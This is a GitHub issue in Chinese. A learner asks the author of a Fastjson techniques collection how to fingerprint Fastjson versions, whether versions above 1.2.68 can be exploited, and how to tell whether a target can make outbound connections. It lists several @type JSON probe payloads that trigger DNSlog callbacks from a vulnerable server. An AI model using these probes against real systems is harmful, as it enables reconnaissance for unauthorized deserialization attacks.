Skip to content

请教师傅几个fastjson漏洞问题 #2

Description

@s1g0day

拜读了师傅的【Fastjson姿势技巧集合】,收获良多。因为是刚开始研究fastjson漏洞,很多内容目前还看不懂,但利用方法真的很实用。目前遇到了一个实际环境,引发了一系列的问题,其中几个属于经验性质的,所以想请教一下师傅。

1、我在实际环境中检测fastjson版本时发现 在fastjson >1.2.68大部分都能通过DNSlog回显,是不是这样就判断出fastjson的版本大于 1.2.68而非小于等于1.2.68
{"@type":"java.net.Inet4Address","val":"dnslog"} NO {"@type":"java.net.Inet6Address","val":"dnslog"} NO {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} YES {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""} YES Set[{"@type":"java.net.URL","val":"http://dnslog"}] YES Set[{"@type":"java.net.URL","val":"http://dnslog"} YES {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} NO {{"@type":"java.net.URL","val":"http://dnslog"}:0 YES
这些判断方法是否可以进行通用型判断?
比如 fastjson >1.2.43 判断版本的方法只有两条,在fastjson >1.2.68中8条判断方法。
我的理解:判断fastjson >1.2.68的方法就是至少有三条poc能用,那么fastjson 版本就是大于1.2.68;如果只有fastjson >1.2.43的那两条可以用,那么fastjson 版本就是大于1.2.43

2、在后面的利用中没有找到大于1.2.68的利用方法,并且通过搜索引擎并未相应的例子,是不是 fastjson > 1.2.68 不存在漏洞,那上面检测fastjson的版本 > 1.2.68 的作用是什么?用于判断是否放弃这个漏洞的利用?

3、因为刚开始研究fastjson,对出不出网很迷,该如何利用fastjson漏洞判断出不出网?
在网上发现一篇【fastjson 不出网利用总结】的文章,我理解的就是先通过dnslog能够正常获取IP,然后在利用过程发现rmi能获取请求但http服务无请求,即为fastjson不出网的情况。是否只有这一种判断方法?

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions